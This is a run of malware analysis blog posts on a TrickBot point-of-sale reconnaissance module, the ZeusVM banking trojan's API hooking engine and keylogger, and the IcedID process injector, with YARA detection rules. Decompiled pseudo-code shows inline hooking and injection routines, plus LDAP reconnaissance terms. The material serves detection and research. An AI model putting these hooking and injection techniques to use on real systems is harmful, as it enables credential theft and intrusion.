Let’s Learn: Introducing Latest TrickBot Point-of-Sale Finder Module

Goal: Analyze the latest TrickBot point-of-sale finder“psfin32” reconnaissance module hunting for point of sale related services, software, and machines in Lightweight Directory Access Protocol (LDAP)
Source:
Unpacked TrickBot psfin32 Module 32-Bit (x86) (MD5: 4fce2da754c9a1ac06ad11a46d215d23)
Outline

I. Background
II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86)
III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis
IV. TrickBot Point-of-Sale Finder Module LDAP Analysis
V. TrickBot Point-of-Sale Finder Module POST Command
IV. Yara Signature

I. Background
This is not the first time the TrickBot development group leverages LDAP; they also developed a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier. The group behind the TrickBot malware development remains to be one of the most resourceful in the e-crime ecosystem continuously releasing various modules (for example. password grabber “pwgrab32Dll” on October 19, 2018). The module itself does not steal any point-of-sale data but rather used to profile corporate machines of interest with possible point-of-sale devices. This module arrives just in time for the holiday shopping season highlighting the group interest in exploring possible point-of-sale breaches. The question is: What point-of-sale malware would the group behind TrickBot deploy on identified machines of interest, and/or would they auction this access to another group? This question is yet to be answered.
II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86) 

This tiny “psfin32” module DLL with the size of 18.13 KB (18568 bytes), compiled on Monday, November 5, 09:00:47 2018 UTC, is originally called “dll[.]dll.” The module itself consists of only 24 functions.
The decoded Trickbot “pfin32Dll” module contains the usual Trickbot export functions:

Control
FreeBuffer
Release
Start

III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis

The latest module consists visually a lot of similarity to their previous DomainGrabber module. During pseudo source-code level analysis, it is revealed that the code contains 6 partial function matches (including perfect match and strongly connected components), 17 unreliable function matches (including same MD index and constants, strongly connected components, similar small pseudo-code, strongly connected components small-primes-product, and loop count). By and large, the pseudo source-code analysis reveals the new module heavily borrows from the earlier DomainGrabber code and was likely coded by the same developer(s).
IV.  TrickBot Point-of-Sale Finder Module LDAP Analysis
This Trickbot module was programmed leveraging Active Directory Service Interfaces (ADSI) APIs to search LDAP for objects possibly linked to point of sale related services, software, and machines. To learn more about specific access ADsOpenObject and IADsContainer  interface, please refer to the DomainGrabber post.
LDAP provider is used to access Active Directory Domain Services. The LDAP binding string takes the following form of “GC://” binding to the root of the namespace. “GC:” uses the LDAP provider to bind to the Global Catalog service to execute queries.
The module queries for DOMAIN Global Catalog the following accesses:

COMPUTERS
USERS
GROUPS
SITES
OUs

The point-of-sale key terms of interest are as follows:

*POS*
*REG*
*CASH*
*LANE*
*STORE*
*RETAIL*
*BOH*
*ALOHA*
*MICROS*
*TERM*

V.  TrickBot Point-of-Sale Finder Module POST Command
Once the information is harvested, the “Log” file with the information would be posted to the TrickBot to “Dpost” servers via “/%s/%s/90” command.

Part of the export “Control” function, the module forms and communicates to the next-layer network via the module network path ending in …///90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:

A. Content-Disposition: form-data; name="proclist"
B. Content-Disposition: form-data; name="sysinfo"
C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value “Arasfjasu7” appears to be a marker/separator for the LDAP query collection upload to split the harvested information.
IV. Yara Signature

import "pe"

rule crime_win32_trickbot_psfin32_dll {
meta:
author = "@VK_Intel"
reference = "Detects TrickBot Point-of-Sale Finder Module"
date = "2018-11-07"
hash1 = "f82d0b87a38792e4572b15fab574c7bf95491bf7c073124530f05cc704c1ee96"
strings:
$s0 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" fullword wide
$s1 = "Dpost servers unavailable" fullword ascii
$s2 = "USERS:" fullword wide
$s3 = "*POS*" fullword wide
$s4 = "/%s/%s/90" fullword wide
$s5 = "DOMAIN GC" fullword wide
$s6 = "*MICROS*" fullword wide
$s7 = "(&(objectCategory=person)(sAMAccountName=%s))" fullword wide

$ldap_gc_pos_queryportion = { 85 f6 0f ?? ?? ?? ?? ?? 8b ?? ?? 8d ?? ?? ?? ?? ?? 6a 04 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b ?? 52 50 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 68 84 45 00 10 57 e8 ?? ?? ?? ?? 68 a0 45 00 10 57 e8 ?? ?? ?? ?? 68 24 46 00 10 57 e8 ?? ?? ?? ?? ba 40 46 00 10 b9 e0 44 00 10 e8 ?? ?? ?? ?? 50 68 4c 46 00 10 57 e8 ?? ?? ?? ??}

condition:
( uint16(0) == 0x5a4d and
filesize < 50KB and
pe.imphash() == "13c48c2a1eaa564e28ee00ed7cd0fc0f" and pe.exports("Control") and pe.exports("Release") and
( all of them )
) or ( $ldap_gc_pos_queryportion and 5 of ($s*) )
}

Let’s Learn: Exploring ZeusVM Banking Malware Hooking Engine

Goal: Analyze and reverse one of the latest ZeusVM variants with the special attention to its main client module and its keylogger component.

https://platform.twitter.com/widgets.js

Source:
Original Packed Loader 32-Bit (x86) (MD5: 649d7732a28818947146070b6959fbd9)
Client 32-Bit Executable (x86) (MD5: f024f3ec18de88a7745b5f3a90c69a31)
Keylogger “klog” Executable 32-Bit (x86)(MD5: 3ef2632c2476c33def2c51b0e383cab1)
Outline
I. Background
II. ZeusVM Banker: Client 32-Bit Executable (x86)
III. Hooking Engine EnterHook
A. MainHook API Logic
B. EnterHook
C. Hooked API calls
1. TlsGetValue API Hook
2. “CreateProcessNotifyApi" Hook and Other Kernel32/Wininet API Hooks
3. Mozilla Firefox API Hook
4. Google Chrome SSL Hook
D. ExitHook
IV. ZeusVM Keylogger Executable
A. Keylog “Init” Function
B. Keylog Take Screenshot Function
V. Yara Signature
A. ZeusVM Client Version
B. ZeusVM Keylogger Component
VI. Indicators of Compromise (IOCs)
VII. Addendum: Hooked API Calls
Background
This latest binary of the ZeusVM banking malware was initially identified by @Racco42 and tagged by @James_inthe_box. Before diving deeper into this malware variant, I highly recommend reading Dennis Schwartz’ report titled “ZeusVM: Bits and Pieces.” The focus of this report is to explore the ZeusVM banking malware hooking and engine.
Malware Analysis

The ZeusVM client consists of 903 functions with the size of 229.50 KB (235008 bytes). The original Zeus client consisted of 558 functions with the size of 138.00 KB (141312 bytes). Leveraging the Diaphora plugin, it was identified that there are 371 function best matches (including function hash, bytes hash, perfect match, equal pseudo-code, equal assembly, same rare MD index), 130 function partial matches (including mnemonics same-primes-product, callgraph match, pseudo-code fuzzy hash, same constants, similar small pseudo-code), 55 function unreliable matches (including strongly connected components and same-primes-product), and 345 function unmatched matches in the latest ZeusVM as compared to the leaked Zeus 2.0.8.9 client. The ZeusVM is, by and large, an evolution of the leaked Zeus variant. The ZeusVM binary adds various dynamic API loading methodology with the additional features (e.g., Google Chrome API hooking).

III. Hooking Engine
The ZesVM malware employs API hook splicing technique to intercept API calls of interest by inserting a jump instruction. ZeusVM hooking engine is leveraged to hook various browser and other API for information-stealing purposes.

A. HookAPI
The hooking engine of the malware is char type HookAPI one taking five parameters to hook API calls of interest. The function allocates memory and sets up proper protections and calls two additional functions that I describe as “EnterHook” and “ExitHook” ones.
The HookAPI function sequence -> checks if the function is at the base address ->  “AllocateBuffer” (via VirtualAlloc API call) -> “EnterHook” setting up the trampoline and splicing the call -> “ExitHook” function.
The pseudo-coded ZeusVM HookiAPI function is as follows: 
//////////////////////////////////////////////////
//////////// ZeusVM HookAPI Function /////////////
//////////////////////////////////////////////////

char __stdcall HookAPI(HANDLE hProcess, DWORD flOldProtect, int a3, LPVOID lpBaseAddress, int a5)
{
v5 = a3;
if ( (LPVOID)a3 != lpBaseAddress || !VirtualAlloc_func(a3, hProcess, (int)&lpBaseAddress, (int)&a3) )
return 0;
v7 = 0;
if ( v5 )
{
v8 = a3;
v9 = flOldProtect + 8;
while ( *(_DWORD *)(v9 - 8) )
{
*(_DWORD *)(v9 + 4) = v8;
*(_DWORD *)v9 = 0;
*(_BYTE *)(v9 + 8) = 0;
++v7;
v8 += 0x37;
v9 += 0x14;
if ( v7 >= v5 )
goto LABEL_8;
}
result = 0;
}
else
{
LABEL_8:
v10 = (char *)lpBaseAddress;
if ( lpBaseAddress )
{
a3 = 0;
if ( v5 > 0 )
{
originalFunction = flOldProtect + 4;
do
{
v12 = EnterHook(
hProcess,
originalFunction - 4,
*(_DWORD *)originalFunction,
v10,
*(LPVOID *)(originalFunction + 8));
if ( !v12 )
break;
*(_DWORD *)(originalFunction + 4) = v10;
v10 += v12;
++a3;
*(_BYTE *)(originalFunction + 12) = v12;
originalFunction += 20;
}
while ( a3 < v5 );
}
if ( a3 == v5 )
return 1;
ExitHook(hProcess, flOldProtect, v5);
}
result = 0;
}
return result;
}
B. EnterHook
The “EnterHook” function is the SIZE_T type taking 5 parameters. ZeusVM enables its hooks as follows leveraging VirtualProtect with the usual pJmp->opcode = 0xE9 (32-bit relative JMP).
//////////////////////////////////////////////////
//////////// ZeusVM EnterHook Function /////////////
//////////////////////////////////////////////////
SIZE_T __stdcall EnterHook(HANDLE hProcess, int functionForHook, \
int hookerFunction, LPVOID lpBaseAddress, LPVOID originalFunction)
{

v5 = *(_DWORD *)functionForHook;
v6 = 0;
v19 = 0;
memset(&Buffer, 0x90, 0x28u);
memset(&v15, 0x90, 0x37u);
while ( 1 )
{
if ( VirtualQuery_checkAvalibleBytes((_BYTE *)v5, hProcess) < 5 )
return 0;
if ( ((int (__stdcall *)(int, _DWORD))loc_433710)(v5, 0) != 2 || *(_BYTE *)v5 != -21 )
break;
v5 += *(_BYTE *)(v5 + 1) + 2;
}
if ( VirtualQuery_checkAvalibleBytes((_BYTE *)v5, hProcess) >= 0x1E
&& VirtualProtectEx(hProcess, (LPVOID)v5, 0x1Eu, 0x40u, &flOldProtect) )
     // Set up proper execution access
{
if ( ReadProcessMemory(hProcess, (LPCVOID)v5, &Buffer, 0x1Eu, 0) )
    // Read the original function code
{
v8 = 0;
for ( i = (char *)&Buffer; ; i = (char *)(&Buffer + v8) )
{
v10 = ((int (__stdcall *)(char *, _DWORD))loc_433710)(i, 0);
if ( v10 == 0xFFFFFFFF )
break;
v8 += v10;
if ( v8 > 0x23 )
break;
if ( v8 >= 5 )
{
nSize = v8;
v22 = 0;
do
{
v11 = (char *)(&Buffer + v22);
v12 = ((int (__stdcall *)(unsigned __int8 *, _DWORD))loc_433710)(&Buffer + v22, 0);
v13 = *v11;
            if ( *v11 != 0xE9u && v13 != 0xE8u || v12 != 5 )
       
{
qmemcpy(&v15 + v6, v11, v12);
v6 += v12;
}
else
{
*(&v15 + v6) = v13;
*(int *)((char *)&v16 + v6) = v5 + v22 + *(_DWORD *)(v11 + 1) - v6 - (_DWORD)a5;
v6 += 5;
}
v22 += v12;
}
while ( v22 != nSize );
if ( WriteProcessMemory(hProcess, lpBaseAddress, &Buffer, nSize, 0) )
{
*(int *)((char *)&v16 + v6) = nSize - v6 - (_DWORD)a5 + v5 - 5;
*(&v15 + v6) = 0xE9u;
if ( WriteProcessMemory(hProcess, a5, &v15, v6 + 5, 0) )
{
v18 = hookerFunction - v5 - 5;
v14 = *(_DWORD *)functionForHook;
Buffer = 0xE9u;
            // "0xE9" -> opcode for a jump with a 32bit relative offset
              NtCreateThread_func(v14, (int)a5);
if ( WriteProcessMemory(hProcess, (LPVOID)v5, &Buffer, 5u, 0) )
v19 = nSize;
}
}
break;
}
}
}
VirtualProtectEx(hProcess, (LPVOID)v5, 0x1Eu, flOldProtect, &flOldProtect);
}
*(_DWORD *)functionForHook = v5;
return v19;
}
C. ZeusVM Hooked API
The “EnterHook” function is the SIZE_T type taking 5 parameters. The function employs VirtualQuery to check for available bytes, sets up proper execution access, reads the original API function and overwrites it with the 0xe9, which is an opcode for a jump with a 32-bit relative offset. This similar technique is used in many malware variants (including Ramnit, Gozi ISFB, Panda, and others).

1. TlsGetValue Hook

ZeusVM just like the leaked Zeus 2.0.8.9 sets up a function hook for TlsGetValue API call to intercept child process flags.
2. “CreateProcessNotifyApi” Hook and Other Kernel32/Wininet Hooks
The malware sets up a plethora of various process and information specific API calls that were originally called “corehook” in the original Zeus 2.0.8.9. Again, this malware simply borrows the previous ZeusVM exact API hooks.
////////////////////////////////////////////////////////////////////////////////
//////////// ZeusVM CreateProcessNotifyApi and Other Function Hook /////////////
////////////////////////////////////////////////////////////////////////////////
int (__stdcall *NtCreateUserProcess)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD,
_DWORD);
WCHAR pszPath;

NtCreateUserProcess = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD,
_DWORD, _DWORD, _DWORD))::NtCreateUserProcess;
if ( ::NtCreateUserProcess )
{
dword_43825C = (int)sub_41B216;
}
else
{
NtCreateUserProcess = NtCreateThread;
dword_43825C = (int)sub_41B160;
}
...
dword_438564 = (int)TranslateMessage;
dword_438578 = (int)GetClipboardData;
dword_43858C = (int)PFXImportCertStore;
dword_438018 = (int)HttpSendRequestW;
dword_438058 = (int)HttpSendRequestA;
dword_438098 = (int)HttpSendRequestExW;
dword_4380D8 = (int)HttpSendRequestExA;
dword_438118 = (int)InternetCloseHandle;
dword_438158 = (int)InternetReadFile;
dword_438198 = (int)InternetReadFileExA;
dword_4381D8 = (int)InternetQueryDataAvailable;
dword_438218 = (int)HttpQueryInfoA;
if ( !SHGetFolderPathW(0, 0x25, 0, 0, &pszPath) )
{
PathRemoveBackslashW(&pszPath);
PathCombineW_func(L"wininet.dll", &pszPath, &pszPath);
sub_42E9C6(&pszPath);
}
return HookAPI((HANDLE)0xFFFFFFFF, (DWORD)&NtCreateUserProcess_0, 0x2A, (LPVOID)0x2A, 1);
3. Mozilla Firefox API Hook
As usual, the malware sets up browser-specific Mozilla Firefox API hooks.

4. Google Chrome SSL Hook
While it is relatively easy to find and hook DLL exported functions: “PR_Read” and “PR_Write” in the Mozilla Firefox browser, it is much more complicated to do the same for Google Chrome, wherein the functions “SSL_Read” and “SSL_Write” functions are not exported in the same fashion. The hooking algorithm necessitates walking the Google Chrome “boringssl” chrome.dll’s ‘.rdata’ section to locate the necessary functions. For more information, please review this helpful article on the exact methodology.

The pseudo-coded C++ is as follows:
/////////////////////////////////////////////////////////
//////////// ZeusVM Google Chrome Hooks ///////////////
////////////////////////////////////////////////////////
char __stdcall ChromeSSLHook(int a1)
{
int v1;
char result;
char v3;
v1 = SearchforChrome_rdata(a1);
if ( v1 )
{
dword_438604 = *(_DWORD *)(v1 + 4);
dword_438618 = *(_DWORD *)(v1 + 8);
dword_43862C = *(_DWORD *)(v1 + 12);
v3 = HookAPI((HANDLE)0xFFFFFFFF, (DWORD)&dword_438604, 3, (LPVOID)3, 1);
if ( v3 )
sub_42F2FB(a1, dword_438610, dword_438624, dword_438638);
result = v3;
}
else
{
result = 0;
}
return result;
}
D. ExitHook
The malware’s ExitHook function simply returns the permissions and protection and function previous state before the hook via the following sequence:
checkAvalibleBytes -> VirtualProtectEx -> WriteProcessMemory (with original function) -> VirtualProtectEx.
IV. Keylogger Executable
ZesVM malware also drops its own primitive keylogger with screenshot capabilities. The total executable is 6.00 KB (6144 bytes); its own internal name is “keylogger.exe,” and it contains 8 functions with the export functions “Init” and “Uninit.”

A. Keylog “Init” Function & “TakeScreenshot” Function
The keylogger logic is unsophisticated formatting the keylogged data formatting as “KLog\\file\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d” and the grabbed screenshots formatting as “KLog\\screen\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d.”

V.Yara Signature

A. ZeusVM Client Version
import "pe"

rule crime_win32_zeusvm_client_banker {
meta:
author = "@VK_Intel"
reference = "Detects ZeusVM client"
date = "2018-10-29"
hash1 = "4d2705b74f7648fdf741f87e4eee9a71c823ac649d53dd5715cb3a6b6d0b6c10"
strings:
$s0 = "http://www.google.com/webhp" fullword ascii
$s1 = "bcdfghjklmnpqrstvwxzaeiouy" fullword ascii
$s2 = "FIXME" fullword ascii
$s3 = "vnc" fullword ascii
$s4 = "socks" fullword ascii
$xor_decode = { 0f b7 c0 8d ?? ?? ?? ?? ?? ?? 33 d2 33 c9 66 ?? ?? ?? 73 ?? 56 8b ?? ?? 0f b7 f1 8a ?? ?? 32 ?? 32 d1 41 88 ?? ?? 66 ?? ?? ?? 72 ?? 5e 0f ?? ?? ?? c6 ?? ?? ?? c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 700KB and
pe.imphash() == "97cdaa72c3f228ec37eb171715fe20ca" and
( all of them )
) or ( all of them )
}

B. ZeusVM Keylogger Component

import "pe"


rule crime_win32_zeusvm_keylogger_component_banker {
meta:
author = "@VK_Intel"
reference = "Detects ZeusVM Keylogger Component"
date = "2018-10-29"
hash1 = "58cea503342f555b71cc09c1599bb12910f193109bd88d387bca44b99035553f"
strings:
$s1 = "keylog.exe" fullword ascii
$s2 = "KLog\\screen\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d" fullword wide
$s3 = "KLog\\file\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 20KB and
pe.imphash() == "ea04b0c46651d6d5ecb1bc99e6050fd8" and pe.exports("Uninit") and
( all of them )
) or ( all of them )
}
VII. Addendum: Hooked API Calls
*following the same Zeus 2.0.8.9 convention*
Core Hook API
  {NULL, CoreHook::hookerLdrLoadDll,                    NULL, 0},
{NULL, CoreHook::hookerNtQueryDirectoryFile, NULL, 0},
  {NULL, CoreHook::hookerNtCreateFile,                  NULL, 0},
{NULL, CoreHook::hookerGetFileAttributesExW, NULL, 0},

Wininet Hook API

  {NULL, WininetHook::hookerHttpSendRequestW,           NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestA, NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestExW, NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestExA, NULL, 0},
{NULL, WininetHook::hookerInternetCloseHandle, NULL, 0},
{NULL, WininetHook::hookerInternetReadFile, NULL, 0},
{NULL, WininetHook::hookerInternetReadFileExA, NULL, 0},
{NULL, WininetHook::hookerInternetQueryDataAvailable, NULL, 0},
{NULL, WininetHook::hookerHttpQueryInfoA, NULL, 0},

Sock Hook API

  {NULL, SocketHook::hookerCloseSocket,                 NULL, 0},
{NULL, SocketHook::hookerSend, NULL, 0},
{NULL, SocketHook::hookerWsaSend, NULL, 0},

VNC Server Hook API

  {NULL, VncServer::hookerOpenInputDesktop,             NULL, 0},
{NULL, VncServer::hookerSwitchDesktop, NULL, 0},
{NULL, VncServer::hookerDefWindowProcW, NULL, 0},
{NULL, VncServer::hookerDefWindowProcA, NULL, 0},
{NULL, VncServer::hookerDefDlgProcW, NULL, 0},
{NULL, VncServer::hookerDefDlgProcA, NULL, 0},
{NULL, VncServer::hookerDefFrameProcW, NULL, 0},
{NULL, VncServer::hookerDefFrameProcA, NULL, 0},
{NULL, VncServer::hookerDefMDIChildProcW, NULL, 0},
{NULL, VncServer::hookerDefMDIChildProcA, NULL, 0},
{NULL, VncServer::hookerCallWindowProcW, NULL, 0},
{NULL, VncServer::hookerCallWindowProcA, NULL, 0},

{NULL, VncServer::hookerRegisterClassW, NULL, 0},
{NULL, VncServer::hookerRegisterClassA, NULL, 0},
{NULL, VncServer::hookerRegisterClassExW, NULL, 0},
{NULL, VncServer::hookerRegisterClassExA, NULL, 0},

{NULL, VncServer::hookerBeginPaint, NULL, 0},
{NULL, VncServer::hookerEndPaint, NULL, 0},
{NULL, VncServer::hookerGetDcEx, NULL, 0},
{NULL, VncServer::hookerGetDc, NULL, 0},
{NULL, VncServer::hookerGetWindowDc, NULL, 0},
{NULL, VncServer::hookerReleaseDc, NULL, 0},
{NULL, VncServer::hookerGetUpdateRect, NULL, 0},
{NULL, VncServer::hookerGetUpdateRgn, NULL, 0},

{NULL, VncServer::hookerGetMessagePos, NULL, 0},
{NULL, VncServer::hookerGetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCapture, NULL, 0},
{NULL, VncServer::hookerReleaseCapture, NULL, 0},
{NULL, VncServer::hookerGetCapture, NULL, 0},
{NULL, VncServer::hookerGetMessageW, NULL, 0},
{NULL, VncServer::hookerGetMessageA, NULL, 0},
{NULL, VncServer::hookerPeekMessageW, NULL, 0},
{NULL, VncServer::hookerPeekMessageA, NULL, 0},

User Hook API

  {NULL, UserHook::hookerTranslateMessage,              NULL, 0},
{NULL, UserHook::hookerGetClipboardData, NULL, 0},
{NULL, UserHook::hookerSetWindowTextW, NULL, 0},

CertStore Hook API

  {NULL, CertStoreHook::_hookerPfxImportCertStore,      NULL, 0},

TlsGetValue Hook API

TlsGetValue

Mozilla Firefox Hook API

PR_OpenTCPSocket
PR_Close
PR_Read
PR_Write
PR_Poll
PR_GetNameForIdentity
PR_SetError
PR_GetError

Google Chrome Hook API

SSL_Read
SSL_Write

Let’s Learn: Deeper Dive into "IcedID"/"BokBot" Banking Malware: Part 1

Goal: Reverse engineer and analyze one of the latest “IcedID” banking malware (also known to some researchers as “BokBot”) focusing on its core functionality.

https://platform.twitter.com/widgets.js Malware:
Original Packed IcedID Loader (MD5: 78930770cb81ad779958da3523fcb829)

Unpacked Injector IcedID (M5: e42d8511c6237cd22ac6bc89a2c00861)

Outline:

I. Background

II. “Emotet” Malware Campaign Spreading “IcedId” Banker

III. Original Packed Loader "IcedID" 32-bit (x86) Executable
IV. Unpacked Process Injector "IcedID" 32-bit (x86) Executable
V. Minimalistic Process Injection: \
Hooking Engine ZwCreateUserProcess & RtlExitUserProcess
A. IcedID "HookMain" 
B. Injector CreateProcessW API Execution (dwCreationFlags=0)
C. "myZwCreateUserProcess" Hook
D. "HookRtlExitUserProcess" Function
V. Yara Signature: IcedID Injector


I. Background

IcedID banker first publically identified in November 2017; IBM’s X-Force research team published a report claiming to have spotted this new banking malware spreading via massive spam campaigns. Compromised computers were first infected with the Emotet downloader, which then grabbed IcedID from the attacker’s domain. IcedID is able to maintain persistence on infected machines, and it has targeted companies mainly in the financial services, retail, and technology sectors. IcedID operators oftentimes collaborate with other groups such as TrickBot, for example.
Additionally, I highly recommend reading Fox-IT’s paper titled Bokbot: The (re)birth of a banker.” They detail that the original discovery dates back to May 2017; additionally, it is notable that the IcedID banker appears to be a continuation of the Neverquest group activity, also known internally as “Catch.” 
II. “Emotet” Malware Campaign Spreading “IcedId” Banker
While reviewing one of the latest malware campaign spreading the Emotet loader as it was reported by Brad, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was spreading IcedID banker and “AZORult” stealer subsequently.
III. Original Packed Loader “IcedID” 32-bit (x86) Executable
The original IcedID loader was obfuscated and packed by pretty interesting crypter with the following executable information with the PDB path.
[IMAGE_DEBUG_DIRECTORY]
0x1E1E0 0x0 Characteristics: 0x0
0x1E1E4 0x4 TimeDateStamp: 0x4AA23E03 [Sat Sep 5 10:31:31 2009 UTC]
0x1E1E8 0x8 MajorVersion: 0x0
0x1E1EA 0xA MinorVersion: 0x0
0x1E1EC 0xC Type: 0x2
0x1E1F0 0x10 SizeOfData: 0x42
0x1E1F4 0x14 AddressOfRawData: 0x257B8
0x1E1F8 0x18 PointerToRawData: 0x245B8
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x245B8 0x0 CvSignature: 0x53445352
0x245BC 0x4 Signature_Data1: 0x11439B10
0x245C0 0x8 Signature_Data2: 0x27C2
0x245C2 0xA Signature_Data3: 0x49F4
0x245C4 0xC Signature_Data4: 0x6EB6
0x245C6 0xE Signature_Data5: 0x780D
0x245C8 0x10 Signature_Data6: 0x7D7BC8B5
0x245CC 0x14 Age: 0x1
0x245D0 0x18 PdbFileName: c:\Sea\Eat\Steam\First\Bone\boybehind.pdb

IV. Unpacked Process Injector “IcedID” 32-bit (x86) Executable
After unpacking the crypter/loader portion of IcedID, one of the first notable features of IcedID is its surreptitious process injection without using suspended process but relies on hooking ZwCreateUserProcess and RtlExitUserProcess. The injector appears to have been compiled on August 13, 2018. Its size is 25 KB with three sections and two imports.

[IMAGE_FILE_HEADER]
0xC4 0x0 Machine: 0x14C
0xC6 0x2 NumberOfSections: 0x3
0xC8 0x4 TimeDateStamp: 0x5B718995 [Mon Aug 13 13:37:25 2018 UTC]
0xCC 0x8 PointerToSymbolTable: 0x0
0xD0 0xC NumberOfSymbols: 0x0
0xD4 0x10 SizeOfOptionalHeader: 0xE0
0xD6 0x12 Characteristics: 0x103
Flags: IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_RELOCS_STRIPPED

The injector contains three sections (.text, bss, .rdata) with two imported DLL:

  • SHLWAPI.DLL
  • KERNEL32.DLL
The rest of APIs, IcedID injector imports dynamically resolving NTDLL.DLL as follows.

V. Minimalistic Process Injection: Hooking Engine ZwCreateUserProcess & RtlExitUserProcess

Essentially, IcedID injector starts checks if it is being with the “/u” parameter, and if it does, it sleeps for 5000 milliseconds. Otherwise, it resolves NTDLL.dll APIs dynamically and proceeds into the main hooking function hooking ZwCreateUserProcess and RtlExitProcess APIs. Eventually, it launches the main code via “svchost.exe.” 
The injector main function works as follows as pseudo-coded in C++:

/////////////////////////////////////////////////////////
/////// IcedID Injector Start Function //////////////////
/////////////////////////////////////////////////////////

void __noreturn IcedID_start()
{
LPSTR v0;
WCHAR path_svchost_exe;
struct _STARTUPINFOW StartupInfo;
WCHAR WINDIR_svchost_exe;
struct _PROCESS_INFORMATION ProcessInformation;

v0 = GetCommandLineA();
if ( StrStrIA(v0, &unk_407DB8) )
  // "/u" - param check via CommandLineA
Sleep(5000u);
if ( Get_Param_Resolve_NTDLL((int)v0) )
{
get_decoder(&StartupInfo, 0x44);
get_decoder(&ProcessInformation, 16);
StartupInfo.cb = 0x44;
    // "IcedID" main hooking function
if ( HookMain((int)ntdll_ZwCreateUserProcess,
        (int)my_ZwCreateUserProcess) )
{
GetSystemDirectoryW(&path_svchost_exe, 0x104u);
      // Set up %WINDIR%\System32 directory path
SetCurrentDirectoryW(&path_svchost_exe);
get_svchost((int)&WINDIR_svchost_exe);
      // "svchost.exe"
lstrcatW(&path_svchost_exe, &WINDIR_svchost_exe);
CreateProcessW(0, &path_svchost_exe, 0, 0, 0, 0, 0, 0, &StartupInfo,
      &ProcessInformation);
}
}
ExitProcess(0);
}

Talos provides an excellent description of this technique as follows (copy/paste):

  • In the memory space of the IcedID process, the function ntdll!ZwCreateUserProcess is hooked.
  • The function kernel32!CreateProcessA [CreateProcessW  (Unicode) version-  @VK_Intel) is called to launch svchost.exe and the CREATE_SUSPENDED flag is not set.
  • The hook on ntdll!ZwCreateUserProcess is hit as a result of calling kernel32!CreateProcessA. The hook is then removed, and the actual function call to ntdll!ZwCreateUserProcess is made.
  • At this point, the malicious process is still in the hook, the svchost.exe process has been loaded into memory by the operating system, but the main thread of svchost.exe has not yet started.
  • The call to ntdll!ZwCreateUserProcess returns the process handle for svchost.exe. Using the process handle, the functions ntdll!NtAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory can be used to write malicious code to the svchost.exe memory space.
  • In the svchost.exe memory space, the call to ntdll!RtlExitUserProcess is hooked to jump to the malicious code already written
  • The malicious function returns, which continues the code initiated by the call tokernel32!CreateProcessA, and the main thread of svchost.exe will be scheduled to run by the operating system.
  • The malicious process ends.
A. IcedID “HookMain” 
The IcedID malware BOOL-type “HookMain” function works as follows:
/////////////////////////////////////////////////////////
/////// IcedID Injector HookMain Function //////////////////
/////////////////////////////////////////////////////////
BOOL __cdecl HookMain(int relative_offset_opcode_jump, int a2)
{

result = ntdll_ZwProtectVirtualMemory_0(0xFFFFFFFF, relative_offset_opcode_jump, 5, 64, (int)&v4);
v3 = result;
if ( result )
{
//"0xE9" opcode for a jump with 32-bit relative
*(_BYTE *)relative_offset_opcode_jump = 0xE9u;
*(_DWORD *)(relative_offset_opcode_jump + 1) = a2 - relative_offset_opcode_jump - 5;
ntdll_ZwProtectVirtualMemory_0(0xFFFFFFFF, relative_offset_opcode_jump, 5, v4, (int)&v4);
result = v3;
}
return result;
}
B. Injector CreateProcessW API Execution (dwCreationFlags=0)
IcedID sets up the process execution CreateProcessW with dwCreationFlags set to 0 with no suspended proceses.
Next, the malware sets up the hook for ZwCreateUserProcess (overwrites with relative opcode 0xe9 jump) and then decompressing the buffer via RtlDecompressBuffer API call. Subsequently, the malware sets another hook on RtlExitUserProcess.
C. IcedID “myZwCreateUserProcess” Hook

The IcedID signed int “my_ZwCreateUserProcess” function prototype is as follows:
/////////////////////////////////////////////////////////
/////// IcedID Injector my_ZwCreateUserProcess Function ///
///////////////////////////////////////////////////////
signed int __thiscall my_ZwCreateUserProcess(void *this, _DWORD *a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12)
{

v13 = this;
if ( ZwProtectVirtualMemory((int)ntdll_ZwCreateUserProcess, (int)&addr_of_ntdll_func_3) )
{
result = ntdll_ZwCreateUserProcess(a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
if ( !result )
{
